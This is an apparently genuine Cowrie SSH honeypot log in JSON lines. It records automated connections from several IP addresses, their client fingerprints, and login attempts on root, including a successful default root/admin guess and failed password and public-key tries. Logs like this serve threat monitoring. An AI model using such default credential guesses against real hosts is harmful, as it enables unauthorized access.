{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:42.877654Z","src_ip":"114.217.53.0","session":"be0366555a6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:43.561749Z","src_ip":"114.217.53.0","session":"be0366555a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":32886,"dst_ip":"159.203.135.109","dst_port":22,"session":"712ec2f8c769","protocol":"ssh","message":"New connection: 103.75.199.4:32886 (159.203.135.109:22) [session: 712ec2f8c769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:43.642910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:43.647658Z","src_ip":"103.75.199.4","session":"712ec2f8c769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:43.743656Z","src_ip":"103.75.199.4","session":"712ec2f8c769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:44.031960Z","src_ip":"103.75.199.4","session":"712ec2f8c769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:45.131018Z","src_ip":"103.75.199.4","session":"712ec2f8c769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":47348,"dst_ip":"10.17.0.5","dst_port":22,"session":"2402216fba24","protocol":"ssh","message":"New connection: 43.163.119.215:47348 (10.17.0.5:22) [session: 2402216fba24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:49.117364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:49.121195Z","src_ip":"43.163.119.215","session":"2402216fba24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:49.359337Z","src_ip":"43.163.119.215","session":"2402216fba24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:50.073575Z","src_ip":"43.163.119.215","session":"2402216fba24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.30","src_port":44506,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c968516b70b","protocol":"ssh","message":"New connection: 188.44.20.30:44506 (10.17.0.5:22) [session: 8c968516b70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:00.139987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:00.145542Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:00.300773Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:f0:74:99:40:1c:eb:db:99:de:6c:15:98:cb:7b:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClQ7JTc65D/bz8L2ngtOifkj7sAltchftqWVKsHAuu0DEokMAXbPsZvtiVSjT1szybUvXihnGP+mB5vR4B7Bx0oDskUe6R4i4YF59aSHTU0Eh8LdAUITQ5kE2vd9dxDF9mhpAl4C2Ye105xGtEI6lSpP5xdQ2zXTYqiBBNvpqrB9nP1fTxZW6fsEMtxsy+Wr5YXpG4G4ljA7/mcuEPAe4fTNJtcZx9VysVHb+cGj1RvjEXdqk6Ppsge2C3wJghJN0M4f6/tzymxQ3emnRswCIf5hBgi1mJGqFmf2PM9Kpsw5B122moLcVDkvA1/nKH6rWbuPl15w4Kze+X+IZ5WHol","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:f0:74:99:40:1c:eb:db:99:de:6c:15:98:cb:7b:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.112479Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:f0:74:99:40:1c:eb:db:99:de:6c:15:98:cb:7b:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClQ7JTc65D/bz8L2ngtOifkj7sAltchftqWVKsHAuu0DEokMAXbPsZvtiVSjT1szybUvXihnGP+mB5vR4B7Bx0oDskUe6R4i4YF59aSHTU0Eh8LdAUITQ5kE2vd9dxDF9mhpAl4C2Ye105xGtEI6lSpP5xdQ2zXTYqiBBNvpqrB9nP1fTxZW6fsEMtxsy+Wr5YXpG4G4ljA7/mcuEPAe4fTNJtcZx9VysVHb+cGj1RvjEXdqk6Ppsge2C3wJghJN0M4f6/tzymxQ3emnRswCIf5hBgi1mJGqFmf2PM9Kpsw5B122moLcVDkvA1/nKH6rWbuPl15w4Kze+X+IZ5WHol","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.116600Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:88:22:a5:a2:90:60:86:ef:ea:2b:89:59:f1:26:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH64hg1SZ0sZzy/C776oEng8g3qpG6+sR95doIgzHK/9leklUaDY5KQWNHS/mdnVmXS0M6EPxxnc2xulB/enluKlEV7TvWPPezXiU9mZeXC1WSm3AgLFJsksXGit7FELE52Dr2as67SuGu0CdkxzeSuQJ9af2Dn/e/VFZhXOQ1zZOJj7Oc/I4rbNuMyBd6bue9TiAqB4HzVs4QW0VMMtF5QcxzTRQD5v1wfKwte1NETDOjOljCwQvWS3KUzOj27DI6bPreGD7v++iqcBMTbuRQ8T1hmY1Nq7WRKU00srczFvYid5mec7LEXP9XJ0Jrye35Yqw/qEUgPK8goL4gzT5JIKKK45+HLHczfyf1QSgH8uAZpevxq+Vni9rlbR9SC7KCIXK1hec/T4+6KZ9MF9DvOPVwLstO6HrzuRjawowvojHw8U+K5qHuNXpP1R4x8k7l3GCQ7TVDg9bbNkUJm+ScFCANQZfRiGXEttxEguKHUq44jH4AwbsYRAsLhYyuRQaKzT9K0yTl1PxMFXzFaNDbbVhRds/d9uKvWq9WjY+B6awNwFSK2ENINpfyei0+aym1BJjCIyk8ZquFTugOYEwxSh0MxMBpTX6eAvoIivMwiMZ1sHyIApBrRhDyLj9nRX2mebH3Jc2jqW5NlrFQ8i8xI+x2+wHKGlb+TnbPMGUPjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:88:22:a5:a2:90:60:86:ef:ea:2b:89:59:f1:26:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.329795Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:88:22:a5:a2:90:60:86:ef:ea:2b:89:59:f1:26:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH64hg1SZ0sZzy/C776oEng8g3qpG6+sR95doIgzHK/9leklUaDY5KQWNHS/mdnVmXS0M6EPxxnc2xulB/enluKlEV7TvWPPezXiU9mZeXC1WSm3AgLFJsksXGit7FELE52Dr2as67SuGu0CdkxzeSuQJ9af2Dn/e/VFZhXOQ1zZOJj7Oc/I4rbNuMyBd6bue9TiAqB4HzVs4QW0VMMtF5QcxzTRQD5v1wfKwte1NETDOjOljCwQvWS3KUzOj27DI6bPreGD7v++iqcBMTbuRQ8T1hmY1Nq7WRKU00srczFvYid5mec7LEXP9XJ0Jrye35Yqw/qEUgPK8goL4gzT5JIKKK45+HLHczfyf1QSgH8uAZpevxq+Vni9rlbR9SC7KCIXK1hec/T4+6KZ9MF9DvOPVwLstO6HrzuRjawowvojHw8U+K5qHuNXpP1R4x8k7l3GCQ7TVDg9bbNkUJm+ScFCANQZfRiGXEttxEguKHUq44jH4AwbsYRAsLhYyuRQaKzT9K0yTl1PxMFXzFaNDbbVhRds/d9uKvWq9WjY+B6awNwFSK2ENINpfyei0+aym1BJjCIyk8ZquFTugOYEwxSh0MxMBpTX6eAvoIivMwiMZ1sHyIApBrRhDyLj9nRX2mebH3Jc2jqW5NlrFQ8i8xI+x2+wHKGlb+TnbPMGUPjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.333525Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:8f:54:16:32:9d:c3:eb:62:c9:a7:4e:e8:b6:2a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJpLNo4Kyorfkff7D86elHfqVHW31Wh9lRjTPvHu1hu92IQw25dag0OWd27XEKx8oJjRN4Q9ZalGhkOA3Jc1tG58bYrP6wqJbKPjQEW/g4pJmz5I5YOeDcYOd5RvBMfCQORX0I7V4zGEFLOYL76iA8j6inr2OE9z5mRC4S1/HK06oF6ToEd3eO4KM0aFg8SfXymJOw8HDDokUlsoBIS39BvWMC24mUTxZKcXQyCk9kDCnUneyF5ZqrHS7wGUm24/IHpFdN4CDqHagaoK3hQva1wdF6JCua2rfNCsS2PH5RhzXdY/FYUyDcp2QKNNQqLwIQTLqmssDDrFjOCNrWcC9n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:8f:54:16:32:9d:c3:eb:62:c9:a7:4e:e8:b6:2a:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.659190Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:8f:54:16:32:9d:c3:eb:62:c9:a7:4e:e8:b6:2a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJpLNo4Kyorfkff7D86elHfqVHW31Wh9lRjTPvHu1hu92IQw25dag0OWd27XEKx8oJjRN4Q9ZalGhkOA3Jc1tG58bYrP6wqJbKPjQEW/g4pJmz5I5YOeDcYOd5RvBMfCQORX0I7V4zGEFLOYL76iA8j6inr2OE9z5mRC4S1/HK06oF6ToEd3eO4KM0aFg8SfXymJOw8HDDokUlsoBIS39BvWMC24mUTxZKcXQyCk9kDCnUneyF5ZqrHS7wGUm24/IHpFdN4CDqHagaoK3hQva1wdF6JCua2rfNCsS2PH5RhzXdY/FYUyDcp2QKNNQqLwIQTLqmssDDrFjOCNrWcC9n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.662904Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:f1:0a:7b:1d:43:48:c0:4c:36:02:00:b7:64:d7:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi8XrgV+Nai9rxy0HYJfWHUM6M7ALi6quZ1Sdxm83tHFGkyP1qEzEiQOtIhXlR3bA1jVaihML1iqT00EjnV3aK06+LmQQGNEGxU7LgJp/wbWpinkj3zz3PjAMPZUUTWzka+rUTx6FfR/WXGK9sGzmPvhVUA73zA8kQnIzKhal8DP7zbagVqSRJANx1UisBJVjOyYZ4O8QGyqvfbyirMbWxAQvQr9CK2ROCFm448X2l3ZwBVP9E7pEPYaVu5Ll5cQkNU2UL3NXd2iRRa4vlPWKnW9I6E2He/EAGZagtqUYHikYWeeVL5GDJnrEo7CcKvIH6ixUxSVMv8mk3gYAiEbGZCHsilOcZvnaWY0VeWMlF50H9nAIL0/+qMNdIcbskiVRWfzIgcf8sxp1r5YOkzCcoilTKGO5bhCH5N3x9TPgAjeYwC1z7XaAk4/nGJTR3vTEKrTvLx+zfdqPaV1HaS6yLH5F7I9FLnsG1l0ab+yoLddMMK9qjMgL0jeeodYX+RLuds0SmBYIGvlmUKxpb69wqDIF9a8Bl9Ls2/SaEJxRKuhOvgYmzCEjY9U/ixeVUBUUYpFOG+m/JpuKxuoKbdyOIMzZlBKACCSIPDKXMdvmXHQB8aYuFj/fFJjt6+YgOlULwHGZtylPLMVrmjzEVzulRYfvqJGg8YaTrMxlK8qD2rQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:f1:0a:7b:1d:43:48:c0:4c:36:02:00:b7:64:d7:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.794725Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:f1:0a:7b:1d:43:48:c0:4c:36:02:00:b7:64:d7:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi8XrgV+Nai9rxy0HYJfWHUM6M7ALi6quZ1Sdxm83tHFGkyP1qEzEiQOtIhXlR3bA1jVaihML1iqT00EjnV3aK06+LmQQGNEGxU7LgJp/wbWpinkj3zz3PjAMPZUUTWzka+rUTx6FfR/WXGK9sGzmPvhVUA73zA8kQnIzKhal8DP7zbagVqSRJANx1UisBJVjOyYZ4O8QGyqvfbyirMbWxAQvQr9CK2ROCFm448X2l3ZwBVP9E7pEPYaVu5Ll5cQkNU2UL3NXd2iRRa4vlPWKnW9I6E2He/EAGZagtqUYHikYWeeVL5GDJnrEo7CcKvIH6ixUxSVMv8mk3gYAiEbGZCHsilOcZvnaWY0VeWMlF50H9nAIL0/+qMNdIcbskiVRWfzIgcf8sxp1r5YOkzCcoilTKGO5bhCH5N3x9TPgAjeYwC1z7XaAk4/nGJTR3vTEKrTvLx+zfdqPaV1HaS6yLH5F7I9FLnsG1l0ab+yoLddMMK9qjMgL0jeeodYX+RLuds0SmBYIGvlmUKxpb69wqDIF9a8Bl9Ls2/SaEJxRKuhOvgYmzCEjY9U/ixeVUBUUYpFOG+m/JpuKxuoKbdyOIMzZlBKACCSIPDKXMdvmXHQB8aYuFj/fFJjt6+YgOlULwHGZtylPLMVrmjzEVzulRYfvqJGg8YaTrMxlK8qD2rQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.798866Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:ef:26:07:d9:b0:46:cf:4b:26:45:a1:27:6f:93:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwt02bmWv19fXi4Y7lm2EdYO7S0ZPyZZCIurHoLYqeK5QqQ+6mHju2Dc4yJH8Pb6oaXiSlQAgSxISAeh8+/Wlt5koPObe/F/wqgZus0jErys1gbUm4rm2H4GLhM+wPegvGITq1ejKnLPkjpu8kWQAmp4KEdtCFN83sPsMjsGaB+mRGeni1eIKQEv0dpD/fP61ZbVc6c93egyAgbO86DJLUqdEdtnEINAbjuMdmLgonRYB94TVO75ASPpGF3owuYJdawENFLGxnqr9pMSU+HzvVcWQC7Cbj3MWQY1iqnGsFCvga1ltrdrIBPbVruf8V49ybsoH2KAWiTuyTf789mNxL+7hdun+M7EACFB+09h5oWexZQnh7RRiXQGzWnmPK038ecIM/ugrmZV2eSXXfxSo5nirkY585Voo7NoidD51dxLGUUxWjmhylXG46c1IemMfGZxkmCrZvGPVWxGaNgb/P/dcxF/FfOcj3ZgbJvVB+gSf89JdKF+jtxCCvGyNHn0WMyiy0Ow0y63WaGABQYlQtyuQ0xCtHbdlxiTzdbrFWzC6MjZvD2Ww4uVk/a3q5ny06gGMnbQyee+WAzm2MJFuMo/Yj9RUoF6Fhka70+mDDwstSOz+9NUMCejjHqB57ycbtcVvcJKTBOxUpOse2s78JDFmNuEqTEYUBBFc42M5Fuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:ef:26:07:d9:b0:46:cf:4b:26:45:a1:27:6f:93:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.933977Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:ef:26:07:d9:b0:46:cf:4b:26:45:a1:27:6f:93:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwt02bmWv19fXi4Y7lm2EdYO7S0ZPyZZCIurHoLYqeK5QqQ+6mHju2Dc4yJH8Pb6oaXiSlQAgSxISAeh8+/Wlt5koPObe/F/wqgZus0jErys1gbUm4rm2H4GLhM+wPegvGITq1ejKnLPkjpu8kWQAmp4KEdtCFN83sPsMjsGaB+mRGeni1eIKQEv0dpD/fP61ZbVc6c93egyAgbO86DJLUqdEdtnEINAbjuMdmLgonRYB94TVO75ASPpGF3owuYJdawENFLGxnqr9pMSU+HzvVcWQC7Cbj3MWQY1iqnGsFCvga1ltrdrIBPbVruf8V49ybsoH2KAWiTuyTf789mNxL+7hdun+M7EACFB+09h5oWexZQnh7RRiXQGzWnmPK038ecIM/ugrmZV2eSXXfxSo5nirkY585Voo7NoidD51dxLGUUxWjmhylXG46c1IemMfGZxkmCrZvGPVWxGaNgb/P/dcxF/FfOcj3ZgbJvVB+gSf89JdKF+jtxCCvGyNHn0WMyiy0Ow0y63WaGABQYlQtyuQ0xCtHbdlxiTzdbrFWzC6MjZvD2Ww4uVk/a3q5ny06gGMnbQyee+WAzm2MJFuMo/Yj9RUoF6Fhka70+mDDwstSOz+9NUMCejjHqB57ycbtcVvcJKTBOxUpOse2s78JDFmNuEqTEYUBBFc42M5Fuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:01.938820Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:02.091074Z","src_ip":"188.44.20.30","session":"8c968516b70b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49012,"dst_ip":"159.203.135.109","dst_port":22,"session":"61a661a7cb57","protocol":"ssh","message":"New connection: 103.75.199.4:49012 (159.203.135.109:22) [session: 61a661a7cb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:05.570740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:53:05.579704Z","src_ip":"103.75.199.4","session":"61a661a7cb57","protocol":"ssh"}
